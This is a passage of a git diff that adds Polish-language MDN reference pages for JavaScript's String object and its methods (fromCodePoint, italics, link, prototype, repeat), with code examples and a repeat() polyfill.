+<pre class="brush: js notranslate">String.fromCodePoint(42);       // "*"
+String.fromCodePoint(65, 90);   // "AZ"
+String.fromCodePoint(0x404);    // "\u0404" == "Є"
+String.fromCodePoint(0x2F804);  // "\uD87E\uDC04"
+String.fromCodePoint(194564);   // "\uD87E\uDC04"
+String.fromCodePoint(0x1D306, 0x61, 0x1D307); // "\uD834\uDF06a\uD834\uDF07"
+</pre>
+
+<p>Invalid input:</p>
+
+<pre class="brush: js notranslate">String.fromCodePoint('_'); // RangeError
+String.fromCodePoint(Infinity); // RangeError
+String.fromCodePoint(-1); // RangeError
+String.fromCodePoint(3.14); // RangeError
+String.fromCodePoint(3e-2); // RangeError
+String.fromCodePoint(NaN); // RangeError
+</pre>
+
+<h3 id="Compared_to_fromCharCode">Compared to <code>fromCharCode()</code></h3>
+
+<p>{{jsxref("String.fromCharCode()")}} cannot return supplementary characters (i.e. code points <code>0x010000</code> – <code>0x10FFFF</code>) by specifying their code point. Instead, it requires the UTF-16 surrogate pair in order to return a supplementary character:</p>
+
+<pre class="brush: js notranslate">String.fromCharCode(0xD83C, 0xDF03); // Code Point U+1F303 "Night with
+String.fromCharCode(55356, 57091);   // Stars" == "\uD83C\uDF03"
+</pre>
+
+<p><code>String.fromCodePoint()</code>, on the other hand, can return 4-byte supplementary characters, as well as the more common 2-byte BMP characters, by specifying their code point (which is equivalent to the UTF-32 code unit):</p>
+
+<pre class="brush: js notranslate">String.fromCodePoint(0x1F303); // or 127747 in decimal
+</pre>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <thead>
+ <tr>
+ <th scope="col">Specification</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td>{{SpecName('ESDraft', '#sec-string.fromcodepoint', 'String.fromCodePoint')}}</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p>
+
+<p>{{Compat("javascript.builtins.String.fromCodePoint")}}</p>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li>{{jsxref("String.fromCharCode()")}}</li>
+ <li>{{jsxref("String.prototype.charAt()")}}</li>
+ <li>{{jsxref("String.prototype.codePointAt()")}}</li>
+ <li>{{jsxref("String.prototype.charCodeAt()")}}</li>
+</ul>
diff --git a/files/pl/web/javascript/referencje/obiekty/string/index.html b/files/pl/web/javascript/referencje/obiekty/string/index.html
new file mode 100644
index 0000000000..ff27fbc81a
--- /dev/null
+++ b/files/pl/web/javascript/referencje/obiekty/string/index.html
@@ -0,0 +1,194 @@
+---
+title: String
+slug: Web/JavaScript/Referencje/Obiekty/String
+tags:
+ - JavaScript
+ - String
+translation_of: Web/JavaScript/Reference/Global_Objects/String
+---
+<p>{{JSRef}}</p>
+
+<h2 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h2>
+
+<p>Tworzy obiekt pozwalający działać na ciągach znaków.</p>
+
+<h2 id="Tworzony_przez" name="Tworzony_przez">Składnia</h2>
+
+<p>Literały znakowe są postaci:</p>
+
+<pre class="syntaxbox notranslate">'string text'
+"string text"
+"中文 español English हिन्दी العربية português বাংলা русский 日本語 ਪੰਜਾਬੀ 한국어 தமிழ்"
+</pre>
+
+<p>Beside regular, printable characters, special characters can be encoded using escape notation:</p>
+
+<table class="standard-table">
+ <thead>
+ <tr>
+ <th scope="col">Code</th>
+ <th scope="col">Output</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td><code>\0</code></td>
+ <td>the NUL character</td>
+ </tr>
+ <tr>
+ <td><code>\'</code></td>
+ <td>single quote</td>
+ </tr>
+ <tr>
+ <td><code>\"</code></td>
+ <td>double quote</td>
+ </tr>
+ <tr>
+ <td><code>\\</code></td>
+ <td>backslash</td>
+ </tr>
+ <tr>
+ <td><code>\n</code></td>
+ <td>new line</td>
+ </tr>
+ <tr>
+ <td><code>\r</code></td>
+ <td>carriage return</td>
+ </tr>
+ <tr>
+ <td><code>\v</code></td>
+ <td>vertical tab</td>
+ </tr>
+ <tr>
+ <td><code>\t</code></td>
+ <td>tab</td>
+ </tr>
+ <tr>
+ <td><code>\b</code></td>
+ <td>backspace</td>
+ </tr>
+ <tr>
+ <td><code>\f</code></td>
+ <td>form feed</td>
+ </tr>
+ <tr>
+ <td><code>\uXXXX</code></td>
+ <td>unicode codepoint</td>
+ </tr>
+ <tr>
+ <td><code>\xXX</code></td>
+ <td>the Latin-1 character</td>
+ </tr>
+ </tbody>
+</table>
+
+<p>Or, using the <code>String</code> global object directly:</p>
+
+<pre class="syntaxbox notranslate">String(thing)
+new String(thing)
+</pre>
+
+<h3 id="Parametry" name="Parametry">Parametry</h3>
+
+<dl>
+ <dt><code>thing</code></dt>
+ <dd>Dowolny łańcuch znaków.</dd>
+</dl>
+
+<h2 id="Opis" name="Opis">Opis</h2>
+
+<p>trings are useful for holding data that can be represented in text form. Some of the most-used operations on strings are to check their {{jsxref("String.length", "length")}}, to build and concatenate them using the <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/String_Operators">+ and += string operators</a>, checking for the existence or location of substrings with the {{jsxref("String.prototype.indexOf()", "indexOf()")}} method, or extracting substrings with the {{jsxref("String.prototype.substring()", "substring()")}} method.</p>
+
+<h3 id="Character_access" name="Character_access">Character access</h3>
+
+<p>There are two ways to access an individual character in a string. The first is the {{jsxref("String.prototype.charAt()", "charAt()")}} method:</p>
+
+<pre class="brush: js notranslate">return 'cat'.charAt(1); // returns "a"</pre>
+
+<div class="line-number" style="top: 0px;"></div>
+
+<p>The other way (introduced in ECMAScript 5) is to treat the string as an array-like object, where individual characters correspond to a numerical index:</p>
+
+<pre class="brush: js notranslate">return 'cat'[1]; // returns "a"</pre>
+
+<div class="line-number" style="top: 0px;"></div>
+
+<p>For character access using bracket notation, attempting to delete or assign a value to these properties will not succeed. The properties involved are neither writable nor configurable. (See {{jsxref("Object.defineProperty()")}} for more information.)</p>
+
+<h3 id="Comparing_strings" name="Comparing_strings">Comparing strings</h3>
+
+<p>C developers have the <code>strcmp()</code> function for comparing strings. In JavaScript, you just use the <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/Comparison_Operators">less-than and greater-than operators</a>:</p>
+
+<pre class="brush: js notranslate">var a = 'a';
+var b = 'b';
+if (a &lt; b) { // true
+ print(a + ' is less than ' + b);
+} else if (a &gt; b) {
+ print(a + ' is greater than ' + b);
+} else {
+ print(a + ' and ' + b + ' are equal.');
+}</pre>
+
+<p>A similar result can be achieved using the {{jsxref("String.prototype.localeCompare()", "localeCompare()")}} method inherited by <code>String</code> instances.</p>
+
+<h3 id="Distinction_between_string_primitives_and_String_objects">Distinction between string primitives and <code>String</code> objects</h3>
+
+<p>Note that JavaScript distinguishes between <code>String</code> objects and primitive string values. (The same is true of {{jsxref("Global_Objects/Boolean", "Boolean")}} and {{jsxref("Global_Objects/Number", "Numbers")}}.)</p>
+
+<p>String literals (denoted by double or single quotes) and strings returned from <code>String</code> calls in a non-constructor context (i.e., without using the {{jsxref("Operators/new", "new")}} keyword) are primitive strings. JavaScript automatically converts primitives to <code>String</code> objects, so that it's possible to use <code>String</code> object methods for primitive strings. In contexts where a method is to be invoked on a primitive string or a property lookup occurs, JavaScript will automatically wrap the string primitive and call the method or perform the property lookup.</p>
+
+<pre class="brush: js notranslate">var s_prim = 'foo';
+var s_obj = new String(s_prim);
+
+console.log(typeof s_prim); // Logs "string"
+console.log(typeof s_obj); // Logs "object"</pre>
+
+<div class="line-number" style="top: 76px;"></div>
+
+<p>String primitives and <code>String</code> objects also give different results when using {{jsxref("Global_Objects/eval", "eval()")}}. Primitives passed to <code>eval</code> are treated as source code; <code>String</code> objects are treated as all other objects are, by returning the object. For example:</p>
+
+<pre class="brush: js notranslate">var s1 = '2 + 2'; // creates a string primitive
+var s2 = new String('2 + 2'); // creates a String object
+console.log(eval(s1)); // returns the number 4
+console.log(eval(s2)); // returns the string "2 + 2"</pre>
+
+<p>For these reasons, code may break when it encounters <code>String</code> objects when it expects a primitive string instead, although generally authors need not worry about the distinction.</p>
+
+<p>A <code>String</code> object can always be converted to its primitive counterpart with the {{jsxref("String.prototype.valueOf()", "valueOf()")}} method.</p>
+
+<pre class="brush: js notranslate">console.log(eval(s2.valueOf())); // returns the number 4</pre>
+
+<div class="note"><strong>Note:</strong> For another possible approach to strings in JavaScript, please read the article about <a href="https://developer.mozilla.org/en-US/Add-ons/Code_snippets/StringView"><code>StringView</code> — a C-like representation of strings based on typed arrays</a>.</div>
+
+<h2 id="W.C5.82asno.C5.9Bci" name="W.C5.82asno.C5.9Bci">Własności</h2>
+
+<dl>
+ <dt>{{jsxref("String.prototype")}}</dt>
+ <dd>Pozwala na dodawanie własności do obiektu <code>String</code>.</dd>
+</dl>
+
+<div>{{jsOverrides("Function", "Properties", "prototype")}}</div>
+
+<h2 id="Metody">Metody</h2>
+
+<dl>
+ <dt>{{jsxref("String.fromCharCode()")}}</dt>
+ <dd>Zwraca łańcuch znaków stworzony przez podaną sekwencję kodów Unicode.</dd>
+ <dt>{{jsxref("String.fromCodePoint()")}} {{experimental_inline}}</dt>
+ <dd>Returns a string created by using the specified sequence of code points.</dd>
+ <dt>{{jsxref("String.raw()")}} {{experimental_inline}}</dt>
+ <dd>Returns a string created from a raw template string.</dd>
+</dl>
+
+<div>{{jsOverrides("Function", "Methods", "fromCharCode", "fromCodePoint", "raw")}}</div>
+
+<h2 id="Przyk.C5.82ady" name="Przyk.C5.82ady">Przykłady</h2>
+
+<h3 id="Example_String_conversion">Example: String conversion</h3>
+
+<p>It's possible to use <code>String</code> as a "safer" {{jsxref("String.prototype.toString()", "toString()")}} alternative, as although it still normally calls the underlying <code>toString()</code>, it also works for {{jsxref("null")}} and {{jsxref("undefined")}}. For example:</p>
+
+<pre class="brush: js notranslate">var outputStrings = [];
+for (var i = 0, n = inputValues.length; i &lt; n; ++i) {
+ outputStrings.push(String(inputValues[i]));
+}</pre>
diff --git a/files/pl/web/javascript/referencje/obiekty/string/italics/index.html b/files/pl/web/javascript/referencje/obiekty/string/italics/index.html
new file mode 100644
index 0000000000..016a400805
--- /dev/null
+++ b/files/pl/web/javascript/referencje/obiekty/string/italics/index.html
@@ -0,0 +1,45 @@
+---
+title: String.prototype.italics()
+slug: Web/JavaScript/Referencje/Obiekty/String/italics
+tags:
+ - Deprecated
+ - JavaScript
+ - Method
+ - Prototype
+ - String
+translation_of: Web/JavaScript/Reference/Global_Objects/String/italics
+---
+<p>{{JSRef}}{{deprecated_header}}</p>
+
+<h2 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h2>
+
+<p>Powoduje, iż łańcuch zostanie wyświetlony kursywą tak jakby był wewnątrz znacznika {{HTMLElement("i")}}.</p>
+
+<h2 id="Sk.C5.82adnia" name="Sk.C5.82adnia">Składnia</h2>
+
+<pre class="syntaxbox"><code><var>str</var>.italics()</code></pre>
+
+<h2 id="Opis" name="Opis">Opis</h2>
+
+<p>The <code>italics()</code> method embeds a string in an <code>&lt;i&gt;</code> tag: <code>"&lt;i&gt;str&lt;/i&gt;"</code>.</p>
+
+<h2 id="Przyk.C5.82ady" name="Przyk.C5.82ady">Przykłady</h2>
+
+<h3 id="Przyk.C5.82ad:_Zastosowanie_metody_string_do_zmiany_formatowania_.C5.82a.C5.84cucha_znakowego" name="Przyk.C5.82ad:_Zastosowanie_metody_string_do_zmiany_formatowania_.C5.82a.C5.84cucha_znakowego">Przykład: Zastosowanie metody <code>italics()</code></h3>
+
+<p>Następujący przykład stosuje metodę <code>string</code> do zmiany formatowania łańcucha znakowego:</p>
+
+<pre class="brush: js">var worldString="Witaj, Świecie";
+
+console.log(worldString.blink()); // &lt;blink&gt;Witaj, Świecie&lt;/blink&gt;
+console.log(worldString.bold()); // &lt;bold&gt;Witaj, Świecie&lt;/bold&gt;
+console.log(worldString.italics()); // &lt;i&gt;Witaj, Świecie&lt;/i&gt;
+console.log(worldString.strike()); // &lt;s&gt;Witaj, Świecie&lt;/s&gt;</pre>
+
+<h2 id="Zobacz_tak.C5.BCe" name="Zobacz_tak.C5.BCe">Zobacz także</h2>
+
+<ul>
+ <li>{{jsxref("String.prototype.blink()")}}</li>
+ <li>{{jsxref("String.prototype.bold()")}}</li>
+ <li>{{jsxref("String.prototype.strike()")}}</li>
+</ul>
diff --git a/files/pl/web/javascript/referencje/obiekty/string/link/index.html b/files/pl/web/javascript/referencje/obiekty/string/link/index.html
new file mode 100644
index 0000000000..6d8baeb078
--- /dev/null
+++ b/files/pl/web/javascript/referencje/obiekty/string/link/index.html
@@ -0,0 +1,43 @@
+---
+title: String.prototype.link()
+slug: Web/JavaScript/Referencje/Obiekty/String/link
+tags:
+ - JavaScript
+ - Method
+ - Prototype
+ - String
+translation_of: Web/JavaScript/Reference/Global_Objects/String/link
+---
+<p>{{JSRef}}</p>
+
+<h2 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h2>
+
+<p>Tworzy <a class="external" href="http://www.w3.org/TR/html401/struct/links.html#adef-href">łącze hipertekstowe</a>, które wywołuje inny URL.</p>
+
+<h2 id="Sk.C5.82adnia" name="Sk.C5.82adnia">Składnia</h2>
+
+<pre class="syntaxbox"><code><var>str</var>.link(<var>url</var>)</code></pre>
+
+<h3 id="Parametry" name="Parametry">Parametry</h3>
+
+<dl>
+ <dt><code>url</code></dt>
+ <dd>Jakikolwiek łańcuch określony w <code>href</code> ze znacznika <code>a</code>; powinien być umieszczany poprawny URL (relatywny lub absolutny).</dd>
+</dl>
+
+<h2 id="Opis" name="Opis">Opis</h2>
+
+<p>Linki tworzymy poprzez metodę <code>link</code> stającą się elementami tablicy <code>links</code> z obiektu <code>document</code>. Zobacz <code>document.links</code>.</p>
+
+<h2 id="Przyk.C5.82ady" name="Przyk.C5.82ady">Przykłady</h2>
+
+<h3 id="Przyk.C5.82ad:_Zastosowanie_link" name="Przyk.C5.82ad:_Zastosowanie_link">Przykład: Zastosowanie <code>link()</code></h3>
+
+<p>Następujący przykład wyświetla słowo "MDN" jako odnośnik hipertekstowy, poprzez który użytkownik będzie mógł przejść na stronę domową Netscape:</p>
+
+<pre class="brush: js">var hotText="MDN";
+var URL="<code class="language-js"><span class="token string">https://developer.mozilla.org/</span></code>";
+
+console.log("Kliknij, aby powrócić do " + hotText.link(URL));
+// Kliknij, aby powrócić do &lt;a href="https://developer.mozilla.org"&gt;MDN&lt;/a&gt;
+</pre>
diff --git a/files/pl/web/javascript/referencje/obiekty/string/prototype/index.html b/files/pl/web/javascript/referencje/obiekty/string/prototype/index.html
new file mode 100644
index 0000000000..eccba2efdf
--- /dev/null
+++ b/files/pl/web/javascript/referencje/obiekty/string/prototype/index.html
@@ -0,0 +1,220 @@
+---
+title: String.prototype
+slug: Web/JavaScript/Referencje/Obiekty/String/prototype
+tags:
+ - JavaScript
+ - Property
+ - Prototype
+ - String
+translation_of: Web/JavaScript/Reference/Global_Objects/String
+---
+<p>{{JSRef}}</p>
+
+<h2 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h2>
+
+<p>Reprezentuje prototyp obiektów danej klasy. Pozwala na dodawanie własności i metod do wszystkich instancji tej klasy.</p>
+
+<div>{{js_property_attributes(0, 0, 0)}}</div>
+
+<h2 id="Description" name="Description">Opis</h2>
+
+<p>Wszystkie instancje {{jsxref("Global_Objects/String", "String")}} dziedziczą z  <code>String.prototype</code>. Zmiany w prototypie obiektu <code>String</code> są propagowane do wszystkich instancji {{jsxref("Global_Objects/String", "String")}}.</p>
+
+<h2 id="W.C5.82asno.C5.9Bci" name="W.C5.82asno.C5.9Bci">Własności</h2>
+
+<dl>
+ <dt><code>String.prototype.constructor</code></dt>
+ <dd>Oznacza funkcję, która tworzy prototyp obiektu.</dd>
+ <dt>{{jsxref("String.prototype.length")}}</dt>
+ <dd>Odzwierciedla długość łańcucha znaków.</dd>
+ <dt><code><em>N</em></code></dt>
+ <dd>Używane celem uzyskania dostępu do znaku na pozycji <em>N-tej</em> gdzie  <em>N</em> jest dodatnią liczbą całkowitą między 0 a o jeden mniejszą od {{jsxref("String.length", "length")}}. Własności te są tylko do odczytu.</dd>
+</dl>
+
+<h2 id="Methods" name="Methods">Metody</h2>
+
+<h3 id="Metody_niezwi.C4.85zane_z_HTML" name="Metody_niezwi.C4.85zane_z_HTML">Metody niezwiązane z HTML</h3>
+
+<dl>
+ <dt>{{jsxref("String.prototype.charAt()")}}</dt>
+ <dd>Zwraca znak o podanym indeksie.</dd>
+ <dt>{{jsxref("String.prototype.charCodeAt()")}}</dt>
+ <dd>Zwraca liczbę oznaczającą wartość Unicode znaku o podanym indeksie.</dd>
+ <dt>{{jsxref("String.prototype.codePointAt()")}} {{experimental_inline}}</dt>
+ <dd>Returns a non-negative integer that is the UTF-16 encoded code point value at the given position.</dd>
+ <dt>{{jsxref("String.prototype.concat()")}}</dt>
+ <dd>Łączy dwa łańcuchy znaków i zwraca nowy łańcuch.</dd>
+ <dt>{{jsxref("String.prototype.includes()")}} {{experimental_inline}}</dt>
+ <dd>Determines whether one string may be found within another string.</dd>
+ <dt>{{jsxref("String.prototype.endsWith()")}} {{experimental_inline}}</dt>
+ <dd>Determines whether a string ends with the characters of another string.</dd>
+ <dt>{{jsxref("String.prototype.indexOf()")}}</dt>
+ <dd>Zwraca indeks pierwszego wystąpienia podanego znaku w obiekcie <code>String</code> lub <code>-1</code>, gdy niczego nie znaleziono.</dd>
+ <dt>{{jsxref("String.prototype.lastIndexOf()")}}</dt>
+ <dd>Zwraca indeks ostatniego wystąpienia podanego znaku w obiekcie <code>String</code> lub <code>-1</code>, gdy niczego nie znaleziono.</dd>
+ <dt>{{jsxref("String.prototype.localeCompare()")}}</dt>
+ <dd>Returns a number indicating whether a reference string comes before or after or is the same as the given string in sort order.</dd>
+ <dt>{{jsxref("String.prototype.match()")}}</dt>
+ <dd>Używane do porównania wyrażenia regularnego z łańcuchem znaków.</dd>
+ <dt>{{jsxref("String.prototype.normalize()")}} {{experimental_inline}}</dt>
+ <dd>Returns the Unicode Normalization Form of the calling string value.</dd>
+ <dt><s class="obsoleteElement">{{jsxref("String.prototype.quote()")}} {{obsolete_inline}}</s></dt>
+ <dd><s class="obsoleteElement">Wraps the string in double quotes ("<code>"</code>").</s></dd>
+ <dt>{{jsxref("String.prototype.repeat()")}} {{experimental_inline}}</dt>
+ <dd>Returns a string consisting of the elements of the object repeated the given times.</dd>
+ <dt>{{jsxref("String.prototype.replace()")}}</dt>
+ <dd>Używane do znalezienia podobieństwa pomiędzy wyrażeniem regularnym a łańcuchem znaków, a następnie do podmiany znalezionego podłańcucha nowym podłańcuchem.</dd>
+ <dt>{{jsxref("String.prototype.search()")}}</dt>
+ <dd>Uruchamia wyszukiwanie podobieństwa pomiędzy wyrażeniem regularnym a podanym łańcuchem.</dd>
+ <dt>{{jsxref("String.prototype.slice()")}}</dt>
+ <dd>Wyciąga kawałek łańcucha i zwraca nowy łańcuch.</dd>
+ <dt>{{jsxref("String.prototype.split()")}}</dt>
+ <dd>Dzieli obiekt {{jsxref("String")}} na tablicę łańcuchów poprzez dzielenie łańcucha na podłańcuchy.</dd>
+ <dt>{{jsxref("String.prototype.startsWith()")}} {{experimental_inline}}</dt>
+ <dd>Determines whether a string begins with the characters of another string.</dd>
+ <dt>{{jsxref("String.prototype.substr()")}}</dt>
+ <dd>Zwraca podłańcuch znaków z łańcucha, zaczynający się w podanym miejscu i podanej długości znaków.</dd>
+ <dt>{{jsxref("String.prototype.substring()")}}</dt>
+ <dd>Zwraca znaki w podłańcuchu pomiędzy dwoma indeksami w łańcuchu.</dd>
+ <dt>{{jsxref("String.prototype.toLocaleLowerCase()")}}</dt>
+ <dd>The characters within a string are converted to lower case while respecting the current locale. For most languages, this will return the same as {{jsxref("String.prototype.toLowerCase()", "toLowerCase()")}}.</dd>
+ <dt>{{jsxref("String.prototype.toLocaleUpperCase()")}}</dt>
+ <dd>The characters within a string are converted to upper case while respecting the current locale. For most languages, this will return the same as {{jsxref("String.prototype.toUpperCase()", "toUpperCase()")}}.</dd>
+ <dt>{{jsxref("String.prototype.toLowerCase()")}}</dt>
+ <dd>Zwraca wywołujący łańcuch skonwertowany do małych liter.</dd>
+ <dt>{{jsxref("String.prototype.toSource()")}} {{non-standard_inline}}</dt>
+ <dd>Zwraca literał obiektu reprezentujący podany obiekt; możesz użyć tej wartości do utworzenia nowego obiektu. Przesłania metodę {{jsxref("Object.prototype.toSource()")}}.</dd>
+ <dt>{{jsxref("String.prototype.toString()")}}</dt>
+ <dd>Zwraca łańcuch reprezentujący podany obiekt. Przesłania metodę {{jsxref("Object.prototype.toString()")}}.</dd>
+ <dt>{{jsxref("String.prototype.toUpperCase()")}}</dt>
+ <dd>Zwraca wywołujący łańcuch skonwertowany do wielkich liter.</dd>
+ <dt>{{jsxref("String.prototype.trim()")}}</dt>
+ <dd>Trims whitespace from the beginning and end of the string. Part of the ECMAScript 5 standard.</dd>
+ <dt>{{jsxref("String.prototype.trimLeft()")}} {{non-standard_inline}}</dt>
+ <dd>Trims whitespace from the left side of the string.</dd>
+ <dt>{{jsxref("String.prototype.trimRight()")}} {{non-standard_inline}}</dt>
+ <dd>Trims whitespace from the right side of the string.</dd>
+ <dt>{{jsxref("String.prototype.valueOf()")}}</dt>
+ <dd>Zwraca wartość prymitywną podanego obiektu. Przesłania metodę {{jsxref("Object.prototype.valueOf()")}}.</dd>
+ <dt>{{jsxref("String.prototype.@@iterator()", "String.prototype[@@iterator]()")}} {{experimental_inline}}</dt>
+ <dd>Returns a new <code>Iterator</code> object that iterates over the code points of a String value, returning each code point as a String value.</dd>
+</dl>
+
+<h3 id="Metody_zwi.C4.85zane_z_HTML" name="Metody_zwi.C4.85zane_z_HTML">Metody związane z HTML</h3>
+
+<p>These methods are of limited use, as they provide only a subset of the available HTML tags and attributes.</p>
+
+<dl>
+ <dt>{{jsxref("String.prototype.anchor()")}}</dt>
+ <dd>{{htmlattrxref("name", "a", "&lt;a name=\"name\"&gt;")}} (hypertext target)</dd>
+ <dt>{{jsxref("String.prototype.big()")}} {{deprecated_inline}}</dt>
+ <dd>{{HTMLElement("big")}}</dd>
+ <dt>{{jsxref("String.prototype.blink()")}} {{deprecated_inline}}</dt>
+ <dd>{{HTMLElement("blink")}}</dd>
+ <dt>{{jsxref("String.prototype.bold()")}} {{deprecated_inline}}</dt>
+ <dd>{{HTMLElement("b")}}</dd>
+ <dt>{{jsxref("String.prototype.fixed()")}} {{deprecated_inline}}</dt>
+ <dd>{{HTMLElement("tt")}}</dd>
+ <dt>{{jsxref("String.prototype.fontcolor()")}} {{deprecated_inline}}</dt>
+ <dd>{{htmlattrxref("color", "font", "&lt;font color=\"color\"&gt;")}}</dd>
+ <dt>{{jsxref("String.prototype.fontsize()")}} {{deprecated_inline}}</dt>
+ <dd>{{htmlattrxref("size", "font", "&lt;font size=\"size\"&gt;")}}</dd>
+ <dt>{{jsxref("String.prototype.italics()")}} {{deprecated_inline}}</dt>
+ <dd>{{HTMLElement("i")}}</dd>
+ <dt>{{jsxref("String.prototype.link()")}}</dt>
+ <dd>{{htmlattrxref("href", "a", "&lt;a href=\"rul\"&gt;")}} (link to URL)</dd>
+ <dt>{{jsxref("String.prototype.small()")}} {{deprecated_inline}}</dt>
+ <dd>{{HTMLElement("small")}}</dd>
+ <dt>{{jsxref("String.prototype.strike()")}} {{deprecated_inline}}</dt>
+ <dd>{{HTMLElement("strike")}}</dd>
+ <dt>{{jsxref("String.prototype.sub()")}} {{deprecated_inline}}</dt>
+ <dd>{{HTMLElement("sub")}}</dd>
+ <dt>{{jsxref("String.prototype.sup()")}} {{deprecated_inline}}</dt>
+ <dd>{{HTMLElement("sup")}}</dd>
+</dl>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ <tr>
+ <td>ECMAScript 1st Edition.</td>
+ <td>Standard</td>
+ <td>Initial definition.</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES5.1', '#sec-15.5.3.1', 'String.prototype')}}</td>
+ <td>{{Spec2('ES5.1')}}</td>
+ <td> </td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES6', '#sec-string.prototype', 'String.prototype')}}</td>
+ <td>{{Spec2('ES6')}}</td>
+ <td> </td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+ <tr>
+ <th>Feature</th>
+ <th>Chrome</th>
+ <th>Firefox (Gecko)</th>
+ <th>Internet Explorer</th>
+ <th>Opera</th>
+ <th>Safari</th>
+ </tr>
+ <tr>
+ <td>Basic support</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+ <tr>
+ <th>Feature</th>
+ <th>Android</th>
+ <th>Chrome for Android</th>
+ <th>Firefox Mobile (Gecko)</th>
+ <th>IE Mobile</th>
+ <th>Opera Mobile</th>
+ <th>Safari Mobile</th>
+ </tr>
+ <tr>
+ <td>Basic support</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="See_also" name="See_also">See also</h2>
+
+<ul>
+ <li>{{jsxref("String")}}</li>
+ <li>{{jsxref("Function.prototype")}}</li>
+</ul>
diff --git a/files/pl/web/javascript/referencje/obiekty/string/repeat/index.html b/files/pl/web/javascript/referencje/obiekty/string/repeat/index.html
new file mode 100644
index 0000000000..76bf932753
--- /dev/null
+++ b/files/pl/web/javascript/referencje/obiekty/string/repeat/index.html
@@ -0,0 +1,166 @@
+---
+title: String.prototype.repeat()
+slug: Web/JavaScript/Referencje/Obiekty/String/repeat
+translation_of: Web/JavaScript/Reference/Global_Objects/String/repeat
+---
+<div>{{JSRef}}</div>
+
+<p>The <strong><code>repeat()</code></strong> method constructs and returns a new string which contains the specified number of copies of the string on which it was called, concatenated together.</p>
+
+<h2 id="Składnia">Składnia</h2>
+
+<pre class="syntaxbox"><var>str</var>.repeat(<var>count</var>)</pre>
+
+<h3 id="Parametry">Parametry</h3>
+
+<dl>
+ <dt><code>count</code></dt>
+ <dd>An integer between 0 and +∞: [0, +∞), indicating the number of times to repeat the string in the newly-created string that is to be returned.</dd>
+</dl>
+
+<h3 id="Zwracana_wartość">Zwracana wartość</h3>
+
+<p>A new string containing the specified number of copies of the given string.</p>
+
+<h3 id="Exceptions">Exceptions</h3>
+
+<ul>
+ <li>{{jsxref("Errors/Negative_repetition_count", "RangeError")}}: repeat count must be non-negative.</li>
+ <li>{{jsxref("Errors/Resulting_string_too_large", "RangeError")}}: repeat count must be less than infinity and not overflow maximum string size.</li>
+</ul>
+
+<h2 id="Przykłady">Przykłady</h2>
+
+<pre class="brush: js">'abc'.repeat(-1); // RangeError
+'abc'.repeat(0); // ''
+'abc'.repeat(1); // 'abc'
+'abc'.repeat(2); // 'abcabc'
+'abc'.repeat(3.5); // 'abcabcabc' (count will be converted to integer)
+'abc'.repeat(1/0); // RangeError
+
+({ toString: () =&gt; 'abc', repeat: String.prototype.repeat }).repeat(2);
+// 'abcabc' (repeat() is a generic method)
+</pre>
+
+<h2 id="Polyfill">Polyfill</h2>
+
+<p>This method has been added to the ECMAScript 6 specification and may not be available in all JavaScript implementations yet. However, you can polyfill <code>String.prototype.repeat()</code> with the following snippet:</p>
+
+<pre class="brush: js">if (!String.prototype.repeat) {
+ String.prototype.repeat = function(count) {
+ 'use strict';
+ if (this == null) {
+ throw new TypeError('can\'t convert ' + this + ' to object');
+ }
+ var str = '' + this;
+ count = +count;
+ if (count != count) {
+ count = 0;
+ }
+ if (count &lt; 0) {
+ throw new RangeError('repeat count must be non-negative');
+ }
+ if (count == Infinity) {
+ throw new RangeError('repeat count must be less than infinity');
+ }
+ count = Math.floor(count);
+ if (str.length == 0 || count == 0) {
+ return '';
+ }
+ // Ensuring count is a 31-bit integer allows us to heavily optimize the
+ // main part. But anyway, most current (August 2014) browsers can't handle
+ // strings 1 &lt;&lt; 28 chars or longer, so:
+ if (str.length * count &gt;= 1 &lt;&lt; 28) {
+ throw new RangeError('repeat count must not overflow maximum string size');
+ }
+ var rpt = '';
+ for (;;) {
+ if ((count &amp; 1) == 1) {
+ rpt += str;
+ }
+ count &gt;&gt;&gt;= 1;
+ if (count == 0) {
+ break;
+ }
+ str += str;
+ }
+ // Could we try:
+ // return Array(count + 1).join(this);
+ return rpt;
+ }
+}
+</pre>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES6', '#sec-string.prototype.repeat', 'String.prototype.repeat')}}</td>
+ <td>{{Spec2('ES6')}}</td>
+ <td>Initial definition.</td>
+ </tr>
+ <tr>
